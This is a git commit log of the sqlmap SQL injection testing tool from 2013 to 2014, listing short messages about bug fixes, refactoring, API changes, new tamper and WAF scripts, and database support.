Miroslav Stampar fdad787681 Graceful abort in case of an invalid option in configuration file 2014-04-07 20:22:51 +02:00
Miroslav Stampar e3ccf45503 Graceful abort in case of an invalid configuration file 2014-04-07 20:17:47 +02:00
Miroslav Stampar bcf754fb17 Consistency patch (to be the same as in help listing) 2014-04-07 20:10:21 +02:00
Miroslav Stampar b74de19213 Trivial style update 2014-04-07 20:06:03 +02:00
Miroslav Stampar 75f447ccf8 Renaming lib/core/purge to lib/utils/purge 2014-04-07 20:04:07 +02:00
Miroslav Stampar 9c7fbd1a90 Minor refactoring 2014-04-06 18:19:54 +02:00
Miroslav Stampar 3beb1ae2a1 Trivial fix (backslashes should be escaped) 2014-04-06 18:15:06 +02:00
Miroslav Stampar 4f4c50c4d5 Minor language update 2014-04-06 18:12:59 +02:00
Miroslav Stampar bf18b025d6 Minor removal of redundant code 2014-04-06 18:09:54 +02:00
Miroslav Stampar e931344617 More elegant implementation for --random-agent 2014-04-06 18:05:43 +02:00
Miroslav Stampar 9456dc68e7 Minor patch 2014-04-06 17:24:27 +02:00
Miroslav Stampar 1c92d8d51f More generic implementation for --proxy-file (accepting public lists format) 2014-04-06 17:23:13 +02:00
Miroslav Stampar 36a590e085 Minor language fix 2014-04-06 17:13:23 +02:00
Miroslav Stampar bbf08a825e Minor language fix 2014-04-06 17:12:43 +02:00
Miroslav Stampar cf250a0381 Minor patch (it would go boom if special character was inside the --param-del) 2014-04-06 17:02:32 +02:00
Miroslav Stampar 053b0fd0e9 Renaming conf.oDir to conf.outputDir 2014-04-06 16:54:46 +02:00
Miroslav Stampar 7cc4159316 Renaming conf.cDel to conf.cookieDel 2014-04-06 16:50:58 +02:00
Miroslav Stampar 0ae8ac707e Renaming conf.pDel to conf.paramDel 2014-04-06 16:48:46 +02:00
Miroslav Stampar 95e7ca02f0 Minor bug fix (-d was not recognized as one of mandatory in case of config file) 2014-04-06 16:45:25 +02:00
Miroslav Stampar 1b3a98b8ef Trivial update (for consistency sake) 2014-04-06 13:42:15 +02:00
Miroslav Stampar 492a410bcc Minor fix 2014-04-04 16:14:53 +02:00
Miroslav Stampar 15f92c4197 Bug fix (port was not being used properly with Burp exported history) 2014-04-03 09:46:37 +02:00
Miroslav Stampar 1632bec10b Another fix related to the last commit 2014-04-03 09:05:12 +02:00
Miroslav Stampar e7e8a3965a Minor fix 2014-04-03 09:00:14 +02:00
Miroslav Stampar 80d4426dbd Patch related to the Issue #661 2014-04-02 22:34:37 +02:00
Miroslav Stampar d8bacc904e Minor language update 2014-04-01 16:38:50 +02:00
Miroslav Stampar 3e024ac8e6 Minor update (consistency patch) 2014-03-30 16:51:31 +02:00
Miroslav Stampar 76b9fad24a Fix for an Issue #656 2014-03-30 16:21:18 +02:00
Miroslav Stampar b2cc8f00ef Bug fix (ORACLE_OLD on Windows - resulted in multiple entry per line output due to no locking used) 2014-03-28 00:41:22 +01:00
Miroslav Stampar e8c1c90f2e Whitespace was being double encoded in case of spaceplus (' '->%2B) 2014-03-25 22:02:14 +01:00
Miroslav Stampar 3710a7051b Fix for an Issue #653 2014-03-25 21:26:22 +01:00
Miroslav Stampar 930c3e3c5a Minor update (added check for --limit and --risk) 2014-03-25 09:28:12 +01:00
Miroslav Stampar f6e1d9e026 Fix for an Issue #650 2014-03-24 10:46:23 +01:00
Miroslav Stampar 106102bd3c Fix for an Issue #648 2014-03-21 20:28:29 +01:00
Bernardo Damele 276dab781b forgot commend, mandatory 2014-03-21 11:50:12 +00:00
Bernardo Damele 9f838c3d5b typo fix 2014-03-21 11:37:34 +00:00
Bernardo Damele bc5c0ee4ae reverted previous commit, it must be OUTFILEP: LINES TERMINATED BY does not work with DUMPFILE 2014-03-21 11:36:46 +00:00
Bernardo Damele 8091a88d3e minor code cleanup and bug fix 2014-03-21 11:35:30 +00:00
Bernardo Damele c211255773 replaced outfile with dumpfile so works even if the original statement outputs blob 2014-03-21 11:01:57 +00:00
Miroslav Stampar 39ab3b9149 Minor fix for meta refresh 2014-03-20 13:13:47 +01:00
Miroslav Stampar d7f0da5599 Minor patch for an Issue #646 2014-03-20 13:08:28 +01:00
Miroslav Stampar 97fe5e52c2 Fix for an Issue #644 2014-03-18 16:41:05 +01:00
Miroslav Stampar 97f603af4a Fix for an Issue #641 2014-03-17 20:20:25 +01:00
Miroslav Stampar 0622cdf3d8 Bug fix (credentials used in combination with request file) 2014-03-15 09:29:21 +01:00
Miroslav Stampar 3b47418a1d Fix for an Issue #640 2014-03-14 22:20:20 +01:00
Miroslav Stampar 56d76e6bfd Updating list of extensions to exclude from crawling 2014-03-14 21:34:16 +01:00
Miroslav Stampar be3fd8bb29 Fix for an Issue #638 2014-03-14 16:44:56 +01:00
Miroslav Stampar ae36c08f12 Updating server signatures 2014-03-13 10:05:56 +01:00
Miroslav Stampar 17742df0fa Update for an Issue #636 (to prevent eventual future reports with lack of stack trace) 2014-03-11 21:18:31 +01:00
Miroslav Stampar 2f8846caec Fix for an Issue #636 2014-03-11 21:11:51 +01:00
Miroslav Stampar d1a6a775f1 Patch for an Issue #636 2014-03-11 21:00:15 +01:00
Miroslav Stampar fca57da1cf Fix for --tables on HSQLDB 2014-03-07 15:57:41 +01:00
Miroslav Stampar f1f53a5841 Minor cosmetic update 2014-03-06 21:08:31 +01:00
Miroslav Stampar 490d51258e Raising number of minimum time responses (15 is statistically too low) 2014-03-03 20:49:58 +01:00
Bernardo Damele 1d7e804c1d Merge branch 'master' of github.com:sqlmapproject/sqlmap 2014-02-27 15:02:43 +00:00
Bernardo Damele 07a22070d8 updated signatures for test environment 2014-02-27 15:02:33 +00:00
Miroslav Stampar 291a0d772a Update for an Issue #615 2014-02-27 14:23:14 +01:00
Miroslav Stampar 2ffdee5733 Bug fix for PAYLOAD.WHERE.REPLACE payloads containing custom injection marker ([ORIGVALUE] was screwed) 2014-02-26 11:41:48 +01:00
Miroslav Stampar cc62a8adc9 Bug fix for JSON-like data (proper escaping of quotes) 2014-02-26 09:30:37 +01:00
Miroslav Stampar 6369a38ebc Adding support for JSON-like data with single quote 2014-02-26 08:56:17 +01:00
Miroslav Stampar 465f968be6 Minor cosmetic update 2014-02-26 08:41:23 +01:00
Miroslav Stampar edc8ef9d5b Patch for an Issue #611 (original page used in case of tamper functions was wrong - e.g. if --tamper=base64encode was used) 2014-02-25 13:48:34 +01:00
Miroslav Stampar 2a423d61ef Raising number of requests for false positive testing in case of higher levels 2014-02-23 19:40:01 +01:00
Miroslav Stampar d405fc1157 Minor update (for the consistency sake) 2014-02-16 22:04:12 +01:00
Miroslav Stampar 58eac364a2 Bug fix 2014-02-16 21:57:14 +01:00
Miroslav Stampar dfa727cbc5 Fix for a same bug mentioned in last commit 2014-02-16 21:47:14 +01:00
Miroslav Stampar 43df4efd11 Bug fix (bad idea is to do os.path.join on web URLs - especially on Windows OS) 2014-02-16 21:44:57 +01:00
Miroslav Stampar d05bfdd7dd Implementing option '--where' (Issue #605) 2014-02-11 16:20:45 +01:00
Bernardo Damele be6767b3b0 minor fix for command execution via web shell 2014-02-10 09:59:57 +00:00
Miroslav Stampar fe0ff6e679 Changing 'is injectable' to 'seems to be injectable' for boolean and time-based blind injection cases - for false positive cases 2014-02-09 17:50:16 +01:00
Miroslav Stampar 8521265526 Minor fix 2014-02-07 14:40:43 +01:00
Miroslav Stampar de8cb15350 Fix for an Issue #601 2014-02-05 15:11:39 +01:00
Miroslav Stampar b83d531ab3 Minor fix (Reference: https://en.wikipedia.org/wiki/Internet_Information_Services) 2014-02-05 08:32:55 +01:00
Miroslav Stampar f28b8dbda8 Minor update 2014-02-01 22:24:56 +01:00
Miroslav Stampar 534c2ee0e6 Minor update 2014-02-01 22:12:00 +01:00
Miroslav Stampar 0e44132778 Removing unused imports 2014-02-01 21:49:12 +01:00
Miroslav Stampar f97fcb7bb3 Adding a switch --invalid-string 2014-01-23 21:56:06 +01:00
Miroslav Stampar f88f6dcd7e Changing --invalid-bignum from float producing to int producing 2014-01-23 09:07:25 +01:00
Miroslav Stampar fc02badf40 Minor update 2014-01-23 08:33:21 +01:00
Miroslav Stampar ab36e5a2f0 Fix for an Issue #597 2014-01-15 10:29:58 +01:00
Bernardo Damele bc29bf6481 removed comments 2014-01-13 23:57:49 +00:00
Bernardo Damele 1505f1dc74 removed useless sink 2014-01-13 23:55:32 +00:00
Bernardo Damele 124ebefc7f code cleanup 2014-01-13 23:48:15 +00:00
Bernardo Damele 4e8ab48145 fixed match 2014-01-13 23:48:00 +00:00
Bernardo Damele b86353b485 minor fix to DB2 test case 2014-01-13 23:34:25 +00:00
Bernardo Damele 85f60d0c09 leftovers 2014-01-13 17:41:33 +00:00
Bernardo Damele 536b44a429 adapted 2014-01-13 17:38:04 +00:00
Bernardo Damele 3c79d66569 fixed stderr 2014-01-13 17:34:38 +00:00
Bernardo Damele 43a4e85749 updated copyright 2014-01-13 17:24:49 +00:00
Bernardo Damele d546fc5ad5 slight update to regression test regexp 2014-01-13 17:24:09 +00:00
Bernardo Damele 9a1be29b45 updated test cases for regression test 2014-01-13 17:12:59 +00:00
Bernardo Damele dfa9076a70 fixed and improved web shell upload in MySQL (it was actually broken since fc57b7565d) 2014-01-13 17:12:37 +00:00
Miroslav Stampar 6863436d4e Implementation for an Issue #596 2014-01-13 10:05:56 +01:00
Bernardo Damele b4139f5b82 added takeover shared object for PgSQL 9.1 Linux 32-bit - issue #20 2014-01-10 18:16:25 +00:00
Bernardo Damele 4975aafa65 updated live tests 2014-01-10 17:38:04 +00:00
Bernardo Damele 148767941b new host 2014-01-10 17:23:27 +00:00
Bernardo Damele d9e00adfae minor fix 2014-01-10 17:23:16 +00:00
Miroslav Stampar 36f3ab5798 Minor bug fix (for cases when race between thread and main thread is causing server._running to not be set to True) 2014-01-09 15:46:55 +01:00
Miroslav Stampar cb1f17cb04 Proper patch for an Issue #591 2014-01-02 12:15:56 +01:00
Miroslav Stampar 5437f8bf36 Fix for an Issue #85 2014-01-02 12:09:58 +01:00
Miroslav Stampar 4de83daf03 Minor style update 2014-01-02 11:06:19 +01:00
Miroslav Stampar e0143e397a Consistency fix (down below we use direct SQL) 2014-01-02 10:59:53 +01:00
Miroslav Stampar 0b4fcb6845 Fix for an Issue #591 2014-01-02 10:55:40 +01:00
Miroslav Stampar 854a55166c Fix for an Issue #588 2014-01-02 10:29:10 +01:00
Miroslav Stampar 9b4b070ecf Minor cosmetics 2014-01-02 10:05:58 +01:00
Miroslav Stampar 192a911b76 Patch for an Issue #28 2013-12-29 16:16:50 +01:00
Miroslav Stampar 41d6c1af82 Patch for an Issue #589 2013-12-28 13:47:40 +01:00
Miroslav Stampar 6c80f2903b Patch for an Issue #564 2013-12-27 11:02:59 +01:00
Miroslav Stampar 178056968f Cleaning a leftover (deleted) made for Issue #564 2013-12-27 10:49:15 +01:00
Miroslav Stampar cadbddd607 Adding a boundary proposed in Issue #564 2013-12-27 10:46:18 +01:00
Miroslav Stampar 7718edac9b Fix for an Issue #570 2013-12-27 09:40:33 +01:00
Miroslav Stampar 02de2aee6d Patch for an Issue #582 2013-12-26 22:27:04 +01:00
Miroslav Stampar ab64d385d6 Bug fix (stacked queries as in PgSQL and MsSQL DNS tunneling queries MUST end with the comment - not the recognized underlying technique's suffix) 2013-12-25 22:18:57 +01:00
Miroslav Stampar 2c2667b2be Minor patch for an Issue #575 2013-12-18 00:56:24 +01:00
Miroslav Stampar fd6dcd8bf5 Merge pull request #583 from mattoufoutu/api
RESTful API improvements
2013-12-17 14:10:19 -08:00
Miroslav Stampar 9ead80d707 Minor patch for Issue #585 2013-12-17 09:39:43 +01:00
Miroslav Stampar f18abb1e9c Minor update (proxy can be also a https one (e.g. Burp for HTTPS targets) 2013-12-17 09:30:51 +01:00
Miroslav Stampar 7d8eb148ce Patch for an Issue #565 (DuckDuckGo doesn't like identity encoding) 2013-12-17 09:30:04 +01:00
Miroslav Stampar 4819e19200 Patch for an Issue #584 2013-12-16 22:00:47 +01:00
Mathieu Deous 4c9456dd72 moar logging! 2013-12-15 16:59:47 +01:00
Mathieu Deous 438ad73016 avoid names shadowing 2013-12-15 09:22:01 +01:00
Mathieu Deous eda9a3da67 all instance attributes should be defined in constructor 2013-12-15 09:16:38 +01:00
Mathieu Deous 3effaee2a1 avoid using global variables, use a "store" class 2013-12-15 00:19:58 +01:00
Mathieu Deous c70f2a4e6d unused imports 2013-12-15 00:00:08 +01:00
Mathieu Deous aa02019638 return file content in a json message when calling download endpoint 2013-12-14 16:33:17 +01:00
Mathieu Deous c87ad1bab5 make returned values more coherent 2013-12-14 16:22:30 +01:00
Mathieu Deous 72137e85f9 do not reset options when firing a scan 2013-12-14 15:59:47 +01:00
Mathieu Deous af7ad31182 fix commit method usage (belongs to connection, not cursor) 2013-12-14 15:58:09 +01:00
Mathieu Deous c5a3f54b89 remove unused imports 2013-12-14 15:47:26 +01:00
Mathieu Deous 8a946509b9 PEP8 2013-12-14 15:44:10 +01:00
Miroslav Stampar 5b2ded0b18 Fix for an Issue #577 2013-12-13 21:00:26 +01:00
Miroslav Stampar 437278e32d Fix for an Issue #580 2013-12-13 19:48:05 +01:00
Miroslav Stampar 93628cdd62 Merge pull request #578 from mattoufoutu/master
api's get_option function doesn't lookup the right object
2013-12-09 04:52:34 -08:00
Mathieu Deous c3dd6e1e32 api's get_option function doesn't lookup the right object 2013-12-08 17:46:02 +01:00
Bernardo Damele a06a6de193 minor bug fix 2013-12-06 13:26:34 +00:00
Miroslav Stampar b7244a07cb Changing testing payload for MsSQL (BINARY_CHECKSUM seems to be blocked in some cases) 2013-12-04 11:32:42 +01:00
Miroslav Stampar b0ca34ff27 Bug fix (payload character '=' was not being url-encoded in custom (user) post cases - when posthint was None) 2013-12-04 10:09:54 +01:00
Miroslav Stampar bf3fbb0ae0 Ignore Google analytics cookies 2013-12-04 09:56:37 +01:00
Miroslav Stampar dd2ddec79a Minor fix (better extraction of original value in case of replacement and custom POST injection mark) 2013-12-03 13:37:04 +01:00
Miroslav Stampar 59d667d94c Minor update 2013-12-01 22:25:12 +01:00
Miroslav Stampar 663b1e711b Bug fix 2013-12-01 21:22:29 +01:00
Miroslav Stampar 07bd22fa80 Minor fix 2013-12-01 21:03:30 +01:00
Miroslav Stampar 7054586e8a Update for an Issue #565 (more work TBD - DuckDuckGo has some kind of IP blocking mechanism) 2013-11-25 20:57:07 +01:00
Miroslav Stampar 24e67289c8 Bug fix 2013-11-25 11:57:20 +01:00
Miroslav Stampar cda27ec20b Patch for an Issue #563 2013-11-24 15:01:51 +01:00
Bernardo Damele 59b6791faa minor improvement 2013-11-19 00:24:47 +00:00
Bernardo Damele c37ad88283 minor bug fix 2013-11-13 14:34:19 +00:00
Miroslav Stampar 3c67ba08c5 Minor fix 2013-11-12 14:53:05 +01:00
Miroslav Stampar 354aaeae5b Removing unused imports 2013-11-12 14:11:07 +01:00
Miroslav Stampar d84ddf23bd Replacing os.sep constructs with os.path.join 2013-11-12 14:08:41 +01:00
Miroslav Stampar 2f1607b4d5 Minor fix for dumping non-alphanumeric database names 2013-11-12 13:13:47 +01:00
Miroslav Stampar abd76081e1 Adding a new WAF script (varnish.py) 2013-11-11 09:25:42 +01:00
Miroslav Stampar 3ff01f5777 Adding new tamper script 2013-11-09 00:23:34 +01:00
Miroslav Stampar 0a4512e9ae Implementation for an Issue #557 2013-11-08 09:23:38 +01:00
Miroslav Stampar ae4cd2ebed Minor update 2013-11-07 08:29:32 +01:00
Miroslav Stampar 48bd2e75e9 Minor patch 2013-10-28 13:59:38 +01:00
Miroslav Stampar 7ed05f01b3 Minor update 2013-10-27 00:24:57 +02:00
Miroslav Stampar fabbe63f00 Proper fix for re.sub() call with repl value containing backslash 2013-10-23 18:07:38 +02:00
Miroslav Stampar 28529a92a7 Minor fix (for parameters with \ in value) 2013-10-23 10:49:50 +02:00
Miroslav Stampar 9f21406a4b Using cPickle in BigArray (faster and potentially less memory used) 2013-10-21 20:48:00 +02:00
Miroslav Stampar 8dac47f7e5 Minor patch (for recognition of x-mac-turkish codec) 2013-10-21 20:04:48 +02:00
Miroslav Stampar e197720def Fix for an Issue #546 2013-10-19 20:54:52 +02:00
Miroslav Stampar 2ee4b81a6e Minor fix 2013-10-18 15:59:25 +02:00
Miroslav Stampar 777d999e71 Minor update 2013-10-18 15:39:46 +02:00
Miroslav Stampar 5aaf18f556 Minor update 2013-10-18 15:26:55 +02:00
Miroslav Stampar 7104e00c95 Minor update 2013-10-18 14:47:11 +02:00
Bernardo Damele 378ce46061 NVARCHAR is not supported on Sybase Adaptive Server 2013-10-18 12:23:50 +01:00
Miroslav Stampar 6ff2b931ff Another patch for an Issue #545 2013-10-17 23:42:51 +02:00
Miroslav Stampar 334c698d53 Adding change verbosity level in testing phase when Ctrl+C pressed 2013-10-17 16:54:53 +02:00
Miroslav Stampar 304c9822bd Patch for an Issue #545 2013-10-17 16:38:07 +02:00
Miroslav Stampar 7cb7c6361f Minor fix (Sybase Adaptive Server Anywhere doesn't have support for tempdb_id()) 2013-10-17 16:04:55 +02:00
Miroslav Stampar 5b8d631dc0 Minor update 2013-10-16 11:48:00 +02:00
Miroslav Stampar 04dbee3bec Update for a more generic JSON recognition regex 2013-10-16 11:39:04 +02:00
Miroslav Stampar ebccba922b Fix for an Issue #543 2013-10-16 11:25:55 +02:00
Bernardo Damele A. G. 72c79a4891 Merge pull request #544 from moshekaplan/patch-1
Correcting minor typos
2013-10-15 12:28:39 -07:00
Moshe Kaplan 8cd641a2a6 minor typos corrected
"choosen" -> "chosen"
2013-10-15 13:26:24 -04:00
Miroslav Stampar d7906e8f18 Minor fix 2013-10-15 09:49:27 +02:00
Miroslav Stampar 344d3f4b5f Minor patch 2013-10-12 21:05:18 +02:00
Miroslav Stampar b8d49c2ea2 Minor usability patch 2013-10-12 20:41:25 +02:00
Miroslav Stampar 98d27ef200 Bug fix (missing permissions when creating dump directory) 2013-10-11 21:17:12 +02:00
Miroslav Stampar 16e803c3ca Merge pull request #539 from bbuchacher/master
Fix - Custom objects cannot be serialized in JSON
2013-10-11 00:10:15 -07:00
Ben Buchacher 54a6c01005 Fix - Custom objects cannot be serialized in JSON
Custom objects cannot be serialized in JSON, convert tasks into list before serializing.
2013-10-10 16:06:29 -07:00
Miroslav Stampar 4c39235c2f Minor revert (5->3) 2013-10-11 00:39:44 +02:00
Miroslav Stampar 6305c1e703 Making a comma-less RLIKE payload 2013-10-11 00:39:11 +02:00
Miroslav Stampar dbaa35f9fe Minor fix 2013-10-10 23:53:43 +02:00
Miroslav Stampar 2dc570d7a8 Minor patch (for ORDER BY 'col' cases) 2013-10-10 23:08:20 +02:00
Miroslav Stampar dd87233fe4 Minor patch (to accept * inside urls in request files too) 2013-10-10 15:04:48 +02:00
Miroslav Stampar 369006ca73 Bug fix 2013-10-07 12:54:25 +02:00
Bernardo Damele 7e35eb08d2 minor update 2013-10-07 11:39:23 +01:00
Bernardo Damele A. G. 53b07c5398 Merge pull request #536 from za/master
adding more words at site:id common-columns
2013-10-06 22:33:48 -07:00
Zaki Akhmad 3f71c77601 adding more words at site:id common-columns 2013-10-07 10:26:16 +07:00
Miroslav Stampar 18d9e1dbc3 Minor update due to reported (debug) problems with SSLv23 2013-10-04 10:53:49 +02:00
Miroslav Stampar a944028114 Revert of last commit 2013-10-02 22:14:50 +02:00
Miroslav Stampar 9ceb518a50 Minor patch 2013-10-02 22:03:53 +02:00
Miroslav Stampar 8e2f4669d8 Removing dependency for bz2 as there are some reported problems with the library on non-standard platforms 2013-10-02 20:32:18 +02:00
Miroslav Stampar 45c88b36c6 Fix for an Issue #532 2013-09-30 09:33:39 +02:00
Miroslav Stampar 1f2e5a91b5 Merge pull request #530 from za/master
add site:id common-columns
2013-09-26 06:41:09 -07:00
Zaki Akhmad 53a2fc23a0 add site:id common-columns 2013-09-26 20:32:58 +07:00
Miroslav Stampar 6f2c89bd7c Fix for an Issue #529 2013-09-25 10:22:23 +02:00
Miroslav Stampar 2fbd7e8929 Minor fix 2013-09-24 21:56:40 +02:00
Miroslav Stampar df9b1d72de Minor update 2013-09-24 21:44:59 +02:00
Miroslav Stampar 099e931a15 Minor fix 2013-09-21 12:24:49 +02:00
Miroslav Stampar 31684dbc89 Fix for an Issue #524 2013-09-13 16:16:46 +02:00
Miroslav Stampar f11e15a180 Minor update 2013-09-11 23:22:10 +02:00
Miroslav Stampar a3defc175d Fix (we are not using certificate but PEM private key file in this particular authentication; also, auxiliary cert_file is holding certificate chain that is ignored by python itself) 2013-09-11 23:17:18 +02:00
Miroslav Stampar 176f744ac6 Minor cosmetic update 2013-09-11 15:05:37 +02:00
Miroslav Stampar 696fb6530e Cosmetic fix (Kali shows ugly 'python ./sqlmap.py' in usage) 2013-09-11 14:57:38 +02:00
Miroslav Stampar 96ccdb7c83 Adding new regular expressions for error messages 2013-09-06 19:41:40 +02:00
Miroslav Stampar 4cf49bc0cc Minor fix for an Issue #517 2013-09-05 09:22:11 +02:00
Miroslav Stampar b17bb07301 Minor regex update 2013-09-04 19:28:59 +02:00
Miroslav Stampar bf57f636a3 Fix for an Issue #517 2013-09-04 19:22:24 +02:00
Miroslav Stampar 6a3d804af5 Minor update (display NULL instead of FALSE when non-query statement is sqlQueried) 2013-09-02 11:32:32 +02:00
Miroslav Stampar 81409ce6da Minor patch 2013-09-02 10:54:32 +02:00
Miroslav Stampar dd39913cf6 Improvement for an --eval mechanism 2013-08-31 00:28:51 +02:00
Miroslav Stampar 3a57af1452 Minor fix 2013-08-30 15:26:03 +02:00
Miroslav Stampar 9e975210ac Implementation for an Issue #515 2013-08-30 10:22:43 +02:00
Miroslav Stampar e0bfb0503c Minor language update 2013-08-30 09:55:57 +02:00
Miroslav Stampar 28eca2116f Fix for an Issue #513 2013-08-27 13:55:38 +02:00
Miroslav Stampar 7cb3ea20dd Minor patch for a problem noticed yesterday too (in some cases if Ctrl-C is pressed sent is most probably a None value) 2013-08-23 11:59:58 +02:00
Miroslav Stampar 88b992ad83 Fixing a bug noticed during the yesterday's AppSecEU presentation (--headers='user-agent:foobar*' was not working properly) 2013-08-23 11:54:08 +02:00
Miroslav Stampar 3bbe02a714 Bug fix (0 datetime value not liked by direct connector) 2013-08-22 12:05:59 +02:00
Miroslav Stampar 0cf2bdeb1c Minor language update 2013-08-22 11:11:30 +02:00
Miroslav Stampar bc19f40d09 Minor update 2013-08-22 10:44:21 +02:00
Miroslav Stampar 7725695f26 Fix for an Issue #511 2013-08-21 11:25:41 +02:00
Miroslav Stampar 1d4e2d151d Fix for a socks module - proper unwrapmodule (Issue #58) 2013-08-20 19:48:03 +02:00
Miroslav Stampar 23f2c5f166 Finishing implementation for an Issue #58 2013-08-20 19:35:49 +02:00
Miroslav Stampar c586559e30 Patch for an Issue #510 2013-08-20 18:54:32 +02:00
Miroslav Stampar 6cc0cf3702 Minor comment update 2013-08-20 18:36:31 +02:00
Miroslav Stampar 5721f6007e Fix for an Issue #509 2013-08-18 01:24:40 +02:00
Miroslav Stampar 1f2c8fbf59 Fix for an Issue #500 2013-08-13 20:40:36 +02:00
Miroslav Stampar 38ee95e2c9 Minor language update 2013-08-13 18:58:24 +02:00
Miroslav Stampar 52a71546d0 Implementation for an Issue #507 2013-08-13 18:55:23 +02:00
Miroslav Stampar 4929cff0c0 Minor update 2013-08-13 06:42:49 +02:00
Miroslav Stampar bfc3094e35 Merge pull request #506 from bladeswords/patch-1
Remove debugging which prevents sqlmap from running smoothly
2013-08-12 21:38:59 -07:00
bladeswords 6d756317c3 Remove debugging which prevents sqlmap from running smoothly 2013-08-13 13:58:45 +10:00
Miroslav Stampar b2855e0281 Minor patch 2013-08-12 14:25:51 +02:00
Miroslav Stampar a711c9ed36 Minor cleanup and initial work for #58 2013-08-09 14:13:48 +02:00
Miroslav Stampar 4beef0900d Minor language fix (we support SOCKS proxy settings too) 2013-08-09 13:58:42 +02:00
Miroslav Stampar 1088011bf0 Adding new binary file formats for excluding in crawling 2013-08-02 23:07:13 +02:00
Miroslav Stampar 32c1cb20f5 Fix for an Issue #497 2013-08-01 19:48:20 +02:00
Miroslav Stampar 953b5815d8 Implementation for an Issue #496 2013-07-31 21:15:03 +02:00
Miroslav Stampar 6b826ef64d Reintroducing option --cookie-del 2013-07-31 20:41:19 +02:00
Miroslav Stampar ca44b23d20 Implementation for --eval to support cookies 2013-07-31 17:29:16 +02:00
Miroslav Stampar 02da417b23 Fix for a tamper script (in some cases comments were not inserted) 2013-07-31 09:52:10 +02:00
Miroslav Stampar eaacbe0b12 Minor language fix 2013-07-31 09:24:34 +02:00
Miroslav Stampar 941b2387c0 Minor fix 2013-07-31 09:22:45 +02:00
Miroslav Stampar 4f58e0af0c Minor fix 2013-07-31 08:45:04 +02:00
Miroslav Stampar a585aa4bff Adding support for ~ 2013-07-29 20:42:29 +02:00
Miroslav Stampar de31688c4f Update for an Issue #481 2013-07-29 18:25:27 +02:00
Miroslav Stampar b921ff0729 Fix for an Issue #495 2013-07-27 11:20:43 +02:00
Miroslav Stampar df5a6beb6e Queries for Issue #481 2013-07-27 11:11:11 +02:00
stamparm dbb0d7f700 Important fix (Issue #489) - we had a bad presumption than only public schema could be used for enumeration (while all schemas inside a current db could be used) 2013-07-19 13:24:35 +02:00
stamparm 86b62dc619 Adding a new WAF script 2013-07-18 16:17:28 +02:00
stamparm 28cd50b2f1 Patch for an Issue #490 2013-07-16 14:08:32 +02:00
stamparm e6f71c2130 Making 10% less requests in futile higher level/risk runs (using static template payloads for where==NEGATIVE) 2013-07-15 16:24:49 +02:00
stamparm c9d3974205 Minor fix (templatePayload had duplicate string patterns for where==NEGATIVE) 2013-07-15 13:54:02 +02:00
stamparm ac2d40e259 Revert of last commit (there is a chance that that big integer value is really valid :) 2013-07-15 13:34:38 +02:00
stamparm a097ee1505 Switching --invalid-bignum to a pure integer constant (more generic - more statements require pure integer constant) 2013-07-15 13:31:56 +02:00
Miroslav Stampar a639dbbeab Now version check works against Python 2.5 too 2013-07-13 17:28:03 +00:00
Miroslav Stampar f54082111d Better way how to deal with required extensions 2013-07-13 19:25:49 +02:00
Miroslav Stampar 3f6d4083a7 Minor language update 2013-07-13 17:19:16 +02:00
Miroslav Stampar 31efabfca1 Appropriate error messaging when one of core libraries are missing due to erroneous Python build 2013-07-13 16:07:36 +02:00
Miroslav Stampar 4d9f8ad0dd Commit related to the last one 2013-07-13 12:00:03 +02:00
Miroslav Stampar 89d8512edc Moving bz2 into the cloak functions itself as it's not available by default in custom built Python installations (if not pre-installed libbz2-dev) 2013-07-13 11:50:03 +02:00
stamparm dc1623a40f Fix for a bug reported over ML (error: unbalanced parenthesis) 2013-07-11 10:20:58 +02:00
stamparm 01159575b2 Fix for an Issue #488 2013-07-11 10:11:43 +02:00
stamparm 1ae68b9bb3 Update for an Issue #405 (fix for usage of old 'complete' data from previous runs) 2013-07-10 17:18:09 +02:00
stamparm f6c7b398fd Update for an Issue #405 (fix for persistent options problem) 2013-07-10 16:57:44 +02:00
stamparm aad102378a Fix for an Issue #487 2013-07-09 11:00:43 +02:00
stamparm be5ce760b6 Fix for an Issue #485 (failing back to single-thread mode if over some bisection length) 2013-07-09 10:24:48 +02:00
stamparm d7c0805e7c Removing leftover 2013-07-08 12:45:02 +02:00
stamparm a548eb5c70 Minor text update 2013-07-08 12:44:14 +02:00
stamparm d0e79a4d15 Minor text update 2013-07-08 12:38:36 +02:00
stamparm a530817727 Minor typo fix 2013-07-08 11:52:46 +02:00
stamparm 8d3435ab0b Removing reflective warning for parsing heuristic test 2013-07-08 11:48:33 +02:00
stamparm 27bf37e741 Updating to higher levels for HSQLDB specific payloads (like for e.g. Firebird) 2013-07-04 15:41:08 +02:00
stamparm db536427f0 Adding a question for storing hashes to a temporary file (after a mention of it on Twitter) 2013-07-04 15:34:00 +02:00
stamparm e498694928 Fix for a NoneType/--columns issue reported over ML 2013-07-02 15:02:07 +02:00
Bernardo Damele 5882ab59d8 fixed #478 2013-07-01 22:30:59 +01:00
stamparm f97b35dcc1 Patch for an Issue #475 2013-07-01 13:43:38 +02:00
Bernardo Damele 9a8bec760f added fingerprint for HSQLDB based on Tomcat stacktrace message 2013-07-01 12:17:52 +01:00
stamparm b9491317a6 Minor update (Issue #475) 2013-07-01 13:11:16 +02:00
stamparm 925098686d Minor fix 2013-07-01 13:05:57 +02:00
stamparm 017ce22a2f Minor consistency patch (Issue #475) 2013-07-01 13:01:53 +02:00
stamparm e3124b9176 Replacing tabs with spaces (Issue #475) 2013-07-01 12:56:34 +02:00
Bernardo Damele cfbed43066 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2013-07-01 11:54:35 +01:00
Bernardo Damele 6468211f65 tables and databases names on MSQLDB are capitalized 2013-07-01 11:54:31 +01:00
stamparm 5ff09aff63 Some more adjustments (Issue #475) 2013-07-01 12:50:12 +02:00
Bernardo Damele 2ca5df2802 minor fix 2013-07-01 11:31:28 +01:00
stamparm 04046f38eb Minor update (Issue #475) 2013-07-01 12:26:57 +02:00
stamparm 4fb33bb26c Some more cleanup (Issue #475) 2013-07-01 12:11:09 +02:00
stamparm b5e644694a Minor cleanup 2013-07-01 12:05:02 +02:00
stamparm f7d15cb465 Official naming is HSQLDB (and/or HyperSQL) 2013-07-01 11:57:47 +02:00
Miroslav Stampar aeb83ba651 Merge pull request #475 from Meatballs1/hsql_clean
HSQL Payloads and Query Support
2013-07-01 02:38:04 -07:00
Miroslav Stampar a1842f44f5 Fix for an Issue #477 2013-06-29 20:55:48 +02:00
stamparm 991cafc4e4 Minor refactoring 2013-06-26 13:53:42 +02:00
stamparm c83cca4cd4 Minor patch 2013-06-26 13:49:34 +02:00
